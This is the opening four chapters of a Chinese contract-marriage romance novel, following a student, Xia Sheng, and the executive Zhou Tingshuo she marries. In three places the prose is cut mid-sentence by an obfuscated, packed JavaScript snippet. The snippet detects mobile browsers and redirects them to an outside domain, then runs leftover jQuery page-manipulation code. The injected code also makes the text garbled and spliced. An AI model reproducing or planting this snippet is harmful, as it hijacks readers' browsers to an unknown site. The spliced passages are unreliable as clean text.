《心动过速[先婚后爱]》 1. 第 1 章 初晨阳光落在阶梯教室的窗侧,将深棕色的长课桌晒出暖意,更晒出人们懒洋洋的困倦。 夏声来得晚些,放眼望去已没有几个空座。 她坐到第二排过道边的位置,刚拿出课本,就听到旁边的金楠楠嘟囔起来。 “谁家好人大四了还上早八啊。” “哎对了,一会下课去不去校礼堂,没准咱还能看个尾。” 夏声解锁手机,还有不到五分钟上课。 “看什么?” “明箴集团校招讲座啊,据说今天他们那位执行总会来,校长舍挺大面子请来的,叫什么来着……对,周庭朔!” 听到周庭朔的名字,夏声的手一抖,手机上的记单词软件飘出一个红叉。 似乎是为选错答案而心烦,夏声蹙了蹙眉。 明箴集团,全国生物行业数一数二的龙头企业,几乎涵盖所有生物相关领域,也只有京大这样的顶级名校他们才会举办校招。 而周庭朔年纪轻轻已接管了明箴大半产业,行事沉稳果决,游刃有余,甚至被媒体评为最年轻有为的企业家。 “主要听说他很帅。”金楠楠补充。 夏声显然不感兴趣:“不去,我下课要去花店一趟。” 金楠楠见她利落地打开教材,上面笔记工整,画出的重点难点清晰明了。 自己的书不说九成新,起码也有七八成,怪不得人家能年年拿奖学金。 她不死心,又问:“真不去看吗,那可是明箴集团,而且周……” 这时,外教老师夹着电脑进了教室,金楠楠只好打住。 一堂课夏声难得有些心不在焉,捱到下课,她快速将书塞进包里。 金楠楠收拾完,跟着夏声一起出了教室。 “你不去看那我也不去了,反正咱们这法语专业他们公司应该也没什么岗位。” “就是看不成现实版的高富帅,有点可惜。” 两人出了教学楼,隔着一个小花园,夏声远远看见对面校礼堂门口人头攒动,似乎是讲座已经散了。 随意扫了几眼,她便收回视线打开手机查看消息。 【外公:事办好了,记得来个电话。】 她长长叹了口气,随及肩膀被快速拍了拍。 “快看,那一群人围着出来的是不是就是周庭朔?” 夏声忙着回消息,等再抬头时,人已经上车了。 金楠楠还挺惋惜:“真有派头,咱校长亲自来送,你没看见吧,人确实挺帅,很贵的那种帅。” 这形容够直白,夏声顺势望过去,只看到那辆黑色轿车,在一群人的目送中驶离。 “哎,我怎么感觉刚刚他往咱们这边看了一眼?” “听说他现在还单身呢,一点花边新闻都没有,洁身自好的钻石王老五。” 瞧着金楠楠一脸赞赏的表情,夏声随口问。 “那要让你嫁他,你嫁吗?” 几乎不假思索,金楠楠立刻回答:“嫁啊,干嘛不嫁,嫁进去做个有钱的阔太太,少奋斗一辈子。” 夏声笑笑:“也是。” 今天是七夕,花店最忙的时候。 夏声进门时,店里新的外卖订单声正一个接一个弹出来。 许蓝捂着额头,赶紧迎她进去。 “今天你不来帮忙,我得炸锅了。” 夏声大一起就在这里做兼职,许蓝是个实在人对她从不苛待,所以即便她已经有半年不曾来兼职,这回她联系自己需要临时帮忙,夏声还是答应了。 她放下背包,拿起收银台上打出的电子票开始一张张看。 许蓝感激得双手合十作揖:“情人节打扰你约会,真是罪过。” 夏声抬手将身后乌黑的长直发拢起,手腕上的发绳快速一缠,从上到下指了下自己。 “你瞧我这样子,像有约会吗?” 七分袖的水蓝色纱质衬衣,白色长裤,配上未施粉黛的脸。 “不像,但你这样也足够迷倒街上一大半小伙子。” 夏声被她逗乐,手下却没闲着,几句话的功夫,订单已经按送出时间排好序。 刚来花店时,她一束花要花半个多小时才能包完,连花的品种都认不全,如今动作却比许蓝还娴熟不少。 忙到近中午,订单已经做好大半。 许蓝关了网络平台接单,让她歇着。 “行了剩下那些我下午一个人也弄得完,中午想吃什么,我来点单。” 夏声下午还有事,刚想回绝,门口风铃被拨响。 来人一身明黄色A字连衣裙,妆容精致,波浪长发被一副夸张的墨镜别在脑后,进门后扫视一圈,便直奔夏声而来。 “小姐姐,我想订一束花。” 许蓝起身想来接待,那姑娘却倚着花柜冲夏声眨眼,意思再明确不过。 “要祝贺人新婚的,你看着帮我包吧。” 她进门时,夏声看了眼她身后的玻璃门,正对街停着一辆有些眼熟的黑色轿车。 车漆精亮,车窗紧闭,她就是从那辆车下来的。 夏声心中了然,想起外公所说的今天要办的那件事,一抹别扭情绪冒了头。 像是秋日脱下的毛线衣,乍起的静电刺得你直皱眉,却怎么也抹不平。 她转身快速挑了几只白色重瓣芍药和进口马蹄莲做主花,又选了些粉色系的配花做穿插点缀,一会功夫花束就做好了。 几分钟后,夏声同这位顾客一起出了门。 周仪娇抱着花束,小心翼翼看夏声的脸色,半晌才小声开口。 “嫂子,你认出我了?” 许是怕她生气,周仪娇赶紧把花捧到她面前。 “是我缠着我哥说想提前见见你,我只是觉得进去就做自我介绍好傻,就假装是订花的。” “当然,这花就是订了送你的。” 见她委屈巴巴地样子,夏声绷着的嘴角还是松动,最后接过花来。 “知道是送我的,所以选得都是我自己喜欢的花。” “谢谢了。” 夏声并没见过周仪娇,但她有脑子猜得到。 她不喜欢被人暗戳戳试探观察,所以刚刚有气,特意选了几种很贵的配花花材,一束花要了周仪娇近五位数。 周仪娇松了一口气,指了指街对面的车,拉着她走过去。 “我哥就在车里等你呢。”她伸出四指放在耳侧,发誓一样,“放心,我坐前面,保证不做你们的电灯泡。” 婚事是夏声自己同意的,可事到眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925505|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前,她心里又没了底。 她站在车门旁,贴着防窥膜的车玻璃映出她微蹙的眉和紧抿的唇,手停在把手前半晌才将车门拉开。 车内人穿着得体的深色西装,双腿交叠坐于里侧,姿态儒雅随适。 男人五官明朗,眉眼深邃,顺着她开门的动作淡淡瞥过来,礼貌而疏离地冲她微微颔首。 夏声曲腿坐进车里,点点头算是打过招呼。 两人像是初次会晤的合作方,尴尬得无话可谈。 只见过两次面的人,和陌生人也没什么区别。 周庭朔目光落在夏声的背影上,她脊背挺直,只浅浅坐了一个边,紧紧抱着怀里花束,保持与他最远距离。 虽然总有人说他不苟言笑,规板无趣,倒也不至于让她这样……避之不及? 避之不及谈不上,夏声此刻只觉得不自在得厉害。 像是小时候去了不熟的邻居家串门,不得不坐在那听大人们的寒暄,还要不时应和,简直如坐针毡。 副驾驶的周仪娇竖着耳朵,身后却听不到一点动静,她耐不住性子回过头来。 “妈妈说让你们中午先一起吃个饭,正好多相处相处,下午再去领证。” “我知道有一家很好的意大利……” 话还没说完,对上周庭朔无声的眸光,周仪娇噤了声,顺便手指合上在嘴边做了个拉链闭嘴的动作。 转身跟司机对视一眼,将驾驶室与后面的隔音玻璃升了起来。 明明车内开了循环风,夏声还是觉得有些滞闷。 甚至透过怀里的花香,闻到旁边那股陌生的清冽微苦味道都让她隐隐有种压迫感。 她摸出手机看了眼,还不到民政局下班时间。 于是略微侧身看向周庭朔:“要不吃饭还是算了,你应该也很忙,现在还来得及办手续,我们直接过去吧。” 夏声用了“也很忙”这个字眼,周庭朔意会。 “也好。” 听到他没拒绝,夏声暗暗松了口气,却没想到这微小的反应落到了周庭朔眼中。 他眉眼优越,睫毛长直浓密,但凡带着笑意,总给人几分温柔错觉。 此刻,如果夏声回头,便会看到他似笑非笑的眼。 周庭朔十指交叉放在腿上,指尖有一下没一下的点着,似乎在考虑着什么,直到车子在民政局门口停下。 夏声向窗外看了一眼,这才反应过来已经到了,转头将花放到两人中间的位置,在包里翻找起来。 她低头的瞬间,马尾顺着肩侧滑下去,露出白皙修长的脖颈。 那样子,认真又刻意。 一旁的周庭朔放开交叠的双腿,坐直身体,看到她终于找到证件,才缓缓出声。 “婚姻法规定,结婚要以双方自由意志为基础。” “你要是觉得勉强,我们还来得及回去。” 他的声音沉着温和,不带情绪,平静客观到像是在描述与他无关的事。 车内气氛瞬间凝滞,夏声握紧手里的证件,随即转头冲他扬了扬眉。 这句话好像激起了她某种反叛情绪,她举起手中的身份证晃了晃。 “周先生带好证件了吗?” “我们抓紧时间,别耽误工作人员下班。” 2. 第 2 章 站在民政局门前的台阶上,夏声看着手里的红本还有些恍惚。 婚是她自己同意结的,只不过进程推进过快,她一时还难以适应。 周仪娇凑到她旁边美滋滋地看了眼,感叹句真好。 身后的周庭朔走出来扫她一眼,她立刻摆摆手两步跑下台阶。 “我任务完……不是,我下午还有约会,先走了哈。” 是任务。 夏声觉得自己的任务也完成了,转头想跟周庭朔告别,发现他正好接起电话。 他视线落在远处,低声应和:“嗯。” “小妹不都告诉你了。” 两人离得不远不近,夏声隐约能听到对面薛女士的声音,像是为了避嫌,她往旁边挪了挪。 周庭朔的目光若有似无地落在她身上。 “她在旁边。” 看着递过来的手机,夏声抬头对上周庭朔的目光。 对方薄唇微动,无声吐出几个字:“应付一下。” 她只好硬着头皮接过来。 “是声声吧?” 夏声与薛宁玉见过面,印象中她是个优雅明丽的美人,一点看不出岁月痕迹,爱说爱笑,性格跟周庭朔正好相反。 “伯母好。” 对面传来夹杂着哎呦声的笑:“怎么还叫伯母啊,你这孩子……”她感慨了几声,又说,“倒是一时改不过来也正常,咱们不急。” “今天是七夕,你让庭朔带你多去走走逛逛,两人好好约个会。” “他是个闷葫芦,你别嫌他无趣。” 夏声下意识看向周庭朔,对方显然听到自己母亲的评价,表情不置可否,只是示意她可以了。 接过手机,周庭朔又敷衍几句,便挂断电话。 几乎无缝衔接,他的手机又响起来。 夏声赶在他接电话前开口:“你既然忙,咱们今天就到这,我自己回学校就行。” 周庭朔看了眼手机屏幕,摁断电话。 随后递过来:“输一下你的号码。” 两人之前只匆匆见过一面,甚至连彼此的联系方式都没留。 夏声后知后觉,快速输入一串号码。 他将手机收回,修长的手指在屏幕上快速点着,很快夏声收到一条消息。 “这是管家刘叔的电话,他会帮你安排搬家的事。” 夏声还住在学校,婚后自然要搬进新房。 “还有,记一下,这是我的私人号码。” 见她只是点头,周庭朔平淡的视线多停留了两秒。 他本身已是话少的人,没想到夏声更甚,可自己的母亲明明夸过她开朗大方,是个讨喜的姑娘。 到底是信息有误还是其他,周庭朔无意深究,他后面的确还有行程,于是又问她一遍。 “你确定自己回学校可以?” “可以的,你先去忙吧。” 坐回车里,刚刚被挂断的号码又打来,周庭朔随手接通。 祁家骏吊儿郎当的声音很快传来。 “怎么,跟新婚妻子如胶似漆,都没空接兄弟电话了?” 周庭朔目光顺着车窗玻璃看向对街,夏声已走到路旁的树荫下,正举着手机也在打电话。 “有事说事。” 对面压低声音:“怎么,弟妹在旁边不方便说话?” “没,她先回学校了。” 对面一惊一咋的声音让周庭朔拿远了手机。 “你们这叫结婚?两人纯是为了领证而领证是吧。” “我还以为你挑了这么久,终于定下是因为真看上人家了呢。” “合着你们在这过家家呢?” 周庭朔今年刚好二十八,几年前薛宁玉就致力于张罗他的婚事,各家名媛淑女只要合适的都要给他介绍一番。 他拒绝的多薛宁玉难免生气,于是就偶尔安排见上一两位,只不过最后都是无疾而终。 当然也是他故意为之。 直到几个月前,薛宁玉请出了老爷子。 “这是爷爷老战友的外孙女,姑娘漂亮性格也好,以前吃过不少苦,怪疼人的。” “这回你再不当真,别怪爷爷也不饶你。” 周庭朔明白,婚姻是他这样家庭的人必须完成的一项流程,他也不例外。 左不过走个形式,其实对方是谁也不重要。 既然家里人满意,他顺水推舟罢了。 车窗玻璃突然被敲响,周庭朔回神,发现隔着车玻璃,夏声白皙的瓜子脸近在眼前,她正弯着腰向里看。 周庭朔落下车窗:“怎么了?” 没了玻璃的阻隔,两人对视的距离有些近。 也不知是不是秋老虎的威力,夏声脸上泛起了浅浅的粉红,一缕半长的碎发被风吹到长长的眼睫上,随着她眨眼的动作摆动,看着倒比结婚证上板着脸的证件照生动许多。 她指指车后座:“我的花忘拿了。” 这是她今天唯一的仪式感,丢了可惜。 主要也不便宜。 夏声抱着花离开后,周庭朔并没有马上摇上车窗。 婚姻大事她草草办结,一束花倒是当回事,周庭朔看着她抱着那束花跳上一辆出租车,摇了摇头这才收回视线。 安静了好一阵的听筒里传来祁家骏不太确定的嗓音:“周庭朔,你是不是笑了?” “……” “啧啧,跟老婆说两句话就偷着乐,看来我之前的结论得打个问号。” 电话被无声挂断。 夏声从导师办公室出来时,天已经黑透。 她的论文导师是系主任,对她一直寄予厚望,刚刚还在劝她慎重考虑留校直研的事。 安真的电话打来,她正往教室赶,将手里剩下的三明治塞进嘴里,才囫囵着声音接通电话。 “我晚上还有课呢,你怎么这时候给我打电话,你的旅游VLOG拍完了?” 安真是她十多年的好友,小学时就不是个省油的灯,学了几天舞蹈,就想去市里电视台表演的那种。 如今已经折腾成个不小的网红,也算是满足了她的表现欲。 “我再忙也得打电话问问你啊。”她不怀好意地揶揄,“新婚夜准备怎么安排?” 一句新婚夜,差点让夏声噎死。 她好不容易咽下那口三明治,拍着胸口咳了半天才缓过气来。 “拜托你用词准确点,说得那么难听。” 半个月前安真听到她说要领证结婚时,两人正在逛街。 安真新款鞋也不看了,瞪着她眼睛比牛大,一副见了鬼的样子。 “虽然你从小长得就挺不客气的,喜欢你的人也是一大把,但是你连个恋爱都没谈过,你结婚?跟谁?” 安真对周庭朔的名字没有印象,她玩心最是大,对这种商业成功人士一概没兴趣。 “不是,你现在又不缺钱,你外公林家好歹也算个门户,怎么他有点产业你就同意嫁他,他帅吗他。” “有照片没我看看。” 夏声人都只见过一次,鼻子眼都没记清,哪来的照片。 好在安真成天混迹网络,噼里啪啦一顿搜索,还真找到了一张他行业访谈的采访照。 “我靠,这哥们长得也这么不客气。” 她看看照片,又看看在一旁淡定喝果汁的夏声。 “不啊,凭啥天上馅饼都砸你一人头上?” 安真所说的馅饼,指的是一年前她被林家认回的事。 夏声很小的时候母亲就病逝,她的父亲用她爷爷的话说,是个没用的情种,在她母亲去世没多久,就避世修行去了。 留她一个不到十岁的小女孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925506|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与爷爷相依为命。 她过了十多年苦日子,没想到一朝被渝市的林家找上门,成了有钱人家流落在外的千金。 当年她母亲为了个男人跟家里闹掰,时隔多年林家才想起认她这个外孙女回去。 夏声不是那没苦硬吃的人,做豪门千金有什么不好,况且爷爷一年前查出患有颅咽管瘤。 钱她可以自己赚,但有林家做靠,才有更好的医疗资源医生人脉。 这个外公,她自然要认。 这厢夏声已赶到教室,安真的话题还没结束:“所以今晚你们准备怎么过?” “今天还是七夕,想想就觉得浪漫又带劲儿。” 越说越离谱,夏声赶紧打断她:“你呢,七夕准备怎么浪去?” “浪什么啊,视频还没剪完,素材出了点问题,今晚还得去补拍。” 安真大学在她隔壁,学得播音主持,大四大部分时间都是实习,她前一阵刚签了MCN,最近忙得晕头转向。 挂断电话前,安真约她等下周人回来见面聊。 可几天后安真回来,夏声又忙起来。 导师胡春丽从大一就看好她,平时有些翻译的小活会分给她帮忙。 一次两次夏声都做得干净又出彩,久而久之她开始独立接活,且活越接越多。 虽然她现在也不缺钱。 过两天她就有个公益活动的陪译工作,这几天查资料背专词,累得她两眼一黑。 寝室里,金楠楠看着她响了几次的手机,推了推趴着睡着的夏声。 “声声,有个周先生给你打电话。” 听到这个名字,夏声腾得坐起来,瞌睡也没了,眼睛盯着手机屏幕愣了一会。 直到电话自动挂断。 她无意识地在桌上摸了半天,金楠楠把插在她脑后发髻里的铅笔抽出来递过去。 “你怎么了?这个周先生是谁啊,没听你提起过呢。” 那天存号码的时候,夏声犹豫半天最后备注了这个名字。 这几天,她都把这人忘脑后去了。 她拿起手机起身出去:“没什么,一个老板。” 电话回过去,周庭朔接起来的还算快。 她走到寝室楼间的草地上,找了个长椅坐下。 “不好意思,刚刚没听到,有什么事吗?” “稍等。” 似乎是有什么人在旁边说话,紧接着对面换了个人。 “声声啊,是我。” 薛宁玉开口已是十分亲热,接下来的话也没给她任何拒绝的机会。 “上次我送给你的那批衣服是不是不符合你们小姑娘的审美。” “我瞧着七夕那天娇娇给我发的照片,你也没穿,应该是不喜欢。” “这不我又置办了几件,让娇娇给我参谋的,你这会在家没,我正好给你送过去。” 薛宁玉对她倒是极好,之前确实送过她一批衣服包包,可都是些大牌礼裙,淑女套装,随便一件就上万,夏声天天出入学校,根本穿不上。 她措辞一番,想着怎么拒绝才好。 “不用了伯母,原来那些就够穿了,况且这么晚了您别麻烦跑一趟。” “哎,不麻烦,我这就在庭朔车上,顺路的事一会就到。” 夏声拿下手机看了眼,已经八点多了。 再看看自己随意套着的白T恤和多啦A梦的拖鞋,一个头两个大。 “那您等我一下,我还在学校,一会才能到家。” 她一边说一边往楼上跑,拖鞋的踢踏声在走廊里格外明显。 电话静了几秒,随即那边又换了声音。 “不用急。”是周庭朔。 夏声缓口气,也来不及埋怨他为什么不拦着薛宁玉,只压低声音催促。 “你家地址,快发给我。” 3. 第 3 章 偌大的客厅,夏声拘在沙发中间,不时向一旁的周庭朔投去意味明显的眼神。 她真的赶时间,这薛伯母什么时候能聊完? 然而,旁边单人沙发上,周庭朔的视线始终在手中的平板上,像是还有许多工作要处理。 信号被拒收。 夏声只好接着陪聊,做一个提供情绪价值的工具人。 薛宁玉吐槽完儿子,又吐槽女儿。 总算细数完,还不忘再夸夸夏声懂事乖巧,充分表达了她的喜爱。 对面白色幕墙上的简约几何挂钟清楚的显示着,已经是夜里九点半。 好了,也不用急了,寝室关门夏声铁定是回不去了。 薛宁玉临走时,还拉着她的手依依不舍。 “我们声声念书也别太辛苦,瞧这黑眼圈都出来了,晚上早些睡。” “听见没。” 后面那句是跟身后的周庭朔说的。 “别天天忙工作冷落了声声,工作什么时候不能做,在家就是陪老婆的,一天天没个轻重。” 周庭朔轻揽过母亲的肩膀,就势把人往外送:“好了妈,回去路上慢点。” 司机已经在车旁等着,薛宁玉又牵过夏声的手捏了捏。 “今天那件灰紫色的裙子就很衬你,下次他们再上新款,我让人直接送来。” 夏声道了谢,目送车出院子,才松口气。 这下,坐在客厅里的就剩两人,周庭朔倒真像听了薛宁玉的话,将平板关了放在一边。 “怎么一直没搬来?” 夏声怀里抱着个抱枕,手指缠着边缘的流苏,正在打量这个有些过分大的房子。 “最近太忙了,一时没腾出时间。” 这栋别墅是周家特意为他们准备的婚房,装修是现代简约风,设计感十足,就是离市中心远些。 夏声还挺喜欢的,但是她还没准备好跟他住一起。 “这里离学校也太远了些,我住这不太方便。” 其实夏声在京市也有套房产,林家买在她名下的,不过在城东,因为离学校远她也没去住。 周庭朔点头表示理解,复又开口:“市中心有套独户平层,离你们学校不远,你可以搬去那。” “回头薛女士问起来,也算有得应答。” 夏声知道,搬到一起是迟早的事,但有个缓冲总是好的,这会他主动递出解决方案,正是下台阶的好时机。 于是她故作考虑了一会,应下了。 “也行。” 但周庭朔平时并不住在别墅这边,相反,市里那个大平层才是他的住处,他也多去那。 只是夏声不知道这一点。 夏声觉得一个大麻烦暂时解决,心情放松,便开始整理起旁边那些刚刚送来的衣服。 旁边的周庭朔已然起身,似乎是要上楼。 “衣服放在这,明天我差人送到市中心那边,你什么时候有时间,我安排人帮你搬家。” 夏声在学校一向低调,林家和周家的事她从未提过,要是搬个家弄得大张旗鼓,过后解释又是麻烦。 她摆摆手:“不用了,过两天周末,我自己收拾就行,东西不多。” 这次夏声没再忘了这事,之后几天就在学校慢慢收拾行李。 同寝的问起,她就说亲戚家空了个房子,也不想出租,就让她住那看着点。 安真又一次约她出去吃饭时,夏声刚好收到周庭朔的信息。 是一个定位和一串门锁密码。 “碧水华汀。” “好地界啊,上回我跟一个品牌方合作去过那,一平十多万,超贵。” 安真感叹完才想起问:“你们家听说哥住那?” 也不知她什么时候给起得别号,总而言之周庭朔在她那变成了听说哥。 “不是,我们婚房在别墅区,我现在还不想跟他住一起,所以来这边。” 安真双肘撑在桌子上,脑袋凑向对面夏声的脸。 “他没意见?” “没有啊,还是他提议的。” “这么大个美女老婆放家里,他不急着吃?”安真嗓门大起来也没个度,又加了一句,“他戒过毒?” 此时本就不是饭点,日料店里零星几桌客人也都低声交谈,安真乍一亮声众人全都望过来。 夏声赶紧捂住她的嘴:“姑奶奶你低声些,这光彩吗?” 不怨安真惊讶,夏声的漂亮是客观的,这点安真验证了十几年。 纵使在如今浓妆粉饰下美女众多的时代,她素颜也依旧能打。 用安真的话说就是:别瞧她淡眉淡眼,一副清冷样,不经意间眼尾眉梢的风情,就像小猫尾巴一样会溜出来撩人,最是勾魂。 当时她形容完,就被“最会勾魂”的夏声狠狠掐了两下,从此又加一句。 ——是带刺的茉莉。 安真坐回座位,摇头叹气:“唉,他年纪轻轻人就不行了,声声你以后的人生可怎么办啊。” 而远在机场的周庭朔后背无端冒了一股凉风。 夏声准备搬家的那天是周日。 她只收拾了一只拉杆箱,大部分东西还留在寝室,毕竟有时候有晚课她也懒得出校。 楼下寝室门外种着两排玉兰树,夏声刚出门就发现树下站了个人,是陈远泽。 数学系常年第一的学霸,刚上大一就获得了几项全国级别的竞赛一等奖,校网上他的获奖新闻挂了几个月。 两人认识也是有趣,第一个期末复习两人凑巧在自习室坐对面。 一整个考试月,两人仿佛较着劲,总是学到最后才一起出门。 后来的某一天,陈远泽递来一杯贴着字条的奶茶。 【夏同学,今天平安夜,咱们暂时休战行不行?】 夏声走上前,冲他笑了下:“等人?” 仲秋的阳光仍带着暖意,穿过层层叠叠的树影,落在夏声勾起的唇角,陈远泽视线一怔,有些不自然地清嗓。 那句已到嘴边的“找你”咽了回去,他看了眼她手中的行李箱。 “你这是……” “哦,搬点东西出学校。” 这回答明显是应付他,陈远泽没再追问,而是换了话题。 “最近秋招,你有什么打算吗,会……留在京市吗?” 手机里响起提示音,夏声看眼信息,惊呼了声:“我打的车到了,先不跟你说了,拜拜。” 她匆匆摆手,拉着箱子走远。 没有回答他的问题。 碧水华汀到底是高档社区,从大门口走进去就花了夏声十多分钟。 门锁密码非常简单,是九位的素数串。 大平层的装修也比别墅更精简,除了必要的家具,没有任何多余的摆件。 整体黑白灰为主色调,看着就让人生出一种冷淡。 房子面积大,她一圈转下来,粗量估计得有近五百平,像是一整层全部打通,空间完全通畅开阔。 就连门口的玄关都有普通房子一间卧室大。 夏声感叹,果然是没人住的,一点生活气息都没有。 她很自觉的避开主卧,在靠里的一间客房里,发现了之前薛宁玉送她的那些衣服。 房间温暖朝阳,飘窗就有两米宽,很合她的心意。 哼着歌拉开箱子,夏声将自己的衣服也一并放进衣柜。 收拾好东西,她给周庭朔发了信息,告知自己已经搬进来。 他的消息几个小时后才回过来。 【周先生:卫生每日有阿姨打扫,生活用品有缺的找管家刘叔。】 至于吃饭,周庭朔忙的时候都在公司解决,偶尔还需要在外面应酬,鲜少在家吃饭。 【周先生:一日三餐可以叫附近酒店外卖。】 夏声好奇,打开外卖软件翻了翻,附近酒店的外卖起送就四位数。 她赶紧切回聊天界面回了句,知道了。 虽然夏声现在也算有钱人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925507|160479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但她前二十年都是普通甚至有些节俭着过来的,一朝让她奢靡,还有些无从下手。 不如吃泡面算了。 这几天学校课不多,夏声大多时间窝在碧水华汀。 晚上,她刚洗过澡,头发吹了半干就懒得吹,直接散在沙发椅背上,开始读起没读完的法语诗。 「夜晚潮湿地面潮湿」 「空气寂静树林沉默」 夏声摸了摸被头发略微沁湿的沙发靠背,抬眼望着空荡安静的客厅,不由感叹。 “这诗还挺应景。” 直到她手指划到诗的下一行,远处门锁响起开门声。 周庭朔施然走进,发现屋中灯火通明,略有倦意的眸光投向夏声的方向。 手中诗的最后一句是「今夜我爱你」。 夏声“啪”地一声合上书,脱口而出。 “你怎么来了?” 周庭朔左手搭着西装外套,右手提着便携行李箱,似乎长途旅行刚回来。 他在门口换了鞋,外套就搭在行李箱拉杆上,走过来时,顺便松开衬衫领口的扣子。 “出差刚回。” 中岛吧台在客厅沙发背后,周庭朔掠过她,去厨房冰箱拿了瓶水。 这次出差五天就走了三个地方,考察开会磋商方案,高强度周转饶是周庭朔也有些吃不消。 他嗓音有些哑,说起话来带着些慵懒。 “还住得惯吗?” 夏声问他怎么来了是下意识的反应,她默认为周庭朔住在别墅,不会来这里。 可这会她突然反应过来,好像他从来没说过自己住哪。 所以,自己绕了一大圈,反而自投罗网? 见她半晌不出声,周庭朔绕过吧台走到沙发背处,单手撑着靠背看向她。 “怎么了?” 这些天一直是夏声一个人在,穿着自然也随意许多,此刻她刚洗过澡,只穿了一件不到膝盖的棉质睡衣裙。 荷叶边的领口说大不大,说小也不小。 重点是,她为舒服,真空了。 意识到这点时,周庭朔的目光刚好落到她锁骨的位置,没等他再往下,夏声嗖地把书抱在胸前,一溜烟跑回了卧室。 等她穿戴整齐,全副武装再出来时,周庭朔已不在客厅。 门口刚刚放着的便携行李箱已经不见,想必被周庭朔收进去了。 就连他刚换下的鞋子,都是鞋尖向内,整齐地放在鞋凳下。 然而,茶几的黑色玻璃面板上,还放着夏声吃剩一半的薯片和半杯可乐,沙发靠枕被她堆叠在一起放在角落,旁边还扔着一张揉成一团的薄毯。 周庭朔再出来时,显然已经洗过澡,新换的烟灰色衬衫笔挺,在走廊射灯的投射下,映出绸缎质感的光泽。 像是没意料到夏声还在客厅,他系腕表的动作一顿。 夏声手里还拿着那半包薯片,抱着刚叠好的毯子,看了眼客厅的电子时钟。 快十点了。 “还要出去吗?” 似乎是赶时间,他的头发没有刻意打理,只是简单吹干,散碎的额发随着他点头的动作落在眉眼间。 “嗯,有点事,去趟公司。” 他一解释,夏声反而生出一股别扭感觉,好像刚刚她的随口一问,是在要他报备行程。 感觉哪不对劲。 周庭朔已走到门口,发现夏声仍若有所思地站在原地,他想起薛宁玉之前一再强调的话。 “你哥的事是你哥的事,不能影响你的判断和人生轨迹。” “声声不同,她是个好姑娘。” 他敛起神色,眸色浓沉。 要真能不受丝毫影响,那他周庭朔也非凡人。 “今晚我大概率不回来,你不必等我。”他转身推开门,又加了句,“早些休息。” 夏生还没等反应过来,大门就已关上。 莫名其妙。 她只好嘟囔一句:“谁要等你了?” 4. 第 4 章 已入深秋,京大校园内红枫黄柏交纵,颜色浓稠似一副重笔油彩。 但金楠楠无心欣赏,苦着一张脸跟夏声吐槽。 “为什么我妈能把考公回家说得像睡觉吃饭一样简单。” “还说什么你个京大的还考不上个编制吗?” “拜托,当年我能考上京大纯属踩上狗屎运。”她瘪瘪嘴,“一下多蒙对五十分,这谁能想到。” 夏声回完安真约她出去的信息,顺势挽上金楠楠的手臂,又捏了捏她的脸。 “运气是实力的一部分,你有这样的运气,考公事半功倍。” 这话一听就是安慰人的,但夏声就是有这样的魔力,顶着一副诚恳认真的表情,让你不得不信她。 两人刚好路过甜品店,夏声进去买了一盒巧克力泡芙给她。 “吃点甜的,忘掉烦恼。” 泡芙奶香十足,金楠楠炫了几个,心满意足。 她心情转好,又替夏声操起心来。 “那你的烦恼呢,怎么解决?” 昨天导师胡春丽又跟她提起留校的事,让她务必尽快给她个答复。 能直研本校是不少京大学子求之不得的,可夏声却一再犹豫。 “难不成你想直接找工作?可秋招也没见你投简历啊,还是说你想考外校的研究生?” 夏声垂下眼睑,默不作声。 其实原本她的计划是尽快就业,赚钱给爷爷看病。 可如今她算不上缺钱,自然要另作考虑。 两人刚好走到寝室附近,远远就看到一个熟悉的身影等在那。 金楠楠怼了怼夏声:“哎,帅哥学霸又来了,说起来人家都苦等你三年了,这眼看要毕业你还不给他个名分?” 论学习金楠楠可能略逊一筹,但论八卦能力,她可是天赋异禀嗅觉敏锐。 “你别胡说,他跟我是革命友谊。” 但这话夏声说得没有底气。 若说之前她没有察觉,可这两天陈远泽总有意无意出现在她面前,还打听她的毕业去向,再迟钝也该知道了。 夏声对他确实是纯友谊,她不想节外生枝。 “楠楠,我还有事得出校一趟,今天不回来住了。”她眼神眺向远处,“帮我挡一下。” 金楠楠感叹:“帅哥实惨。” 夏声下午还有个翻译散单需要弄完,一首音乐软件上的法语歌词翻译,她想了想还是打车回碧水华汀。 刚坐上车,夏国理的电话打来。 “你这孩子又破费,我个老头随便喝点新茶就不错了,买这么好的糟蹋钱。” 前几天的陪译工作很顺利,对方打款也极速,夏声收到钱就定了明前龙井给他。 每当赚了钱,夏声最喜欢给爷爷花,这是她成就感的来源。 她就势撒娇:“你该夸夸孙女才对吧,要不下回可不给买了。” 老爷子是真心心疼她。 之前林家提及给夏声安排了结婚对象,他本也不同意,孙女还小又不急着结婚。 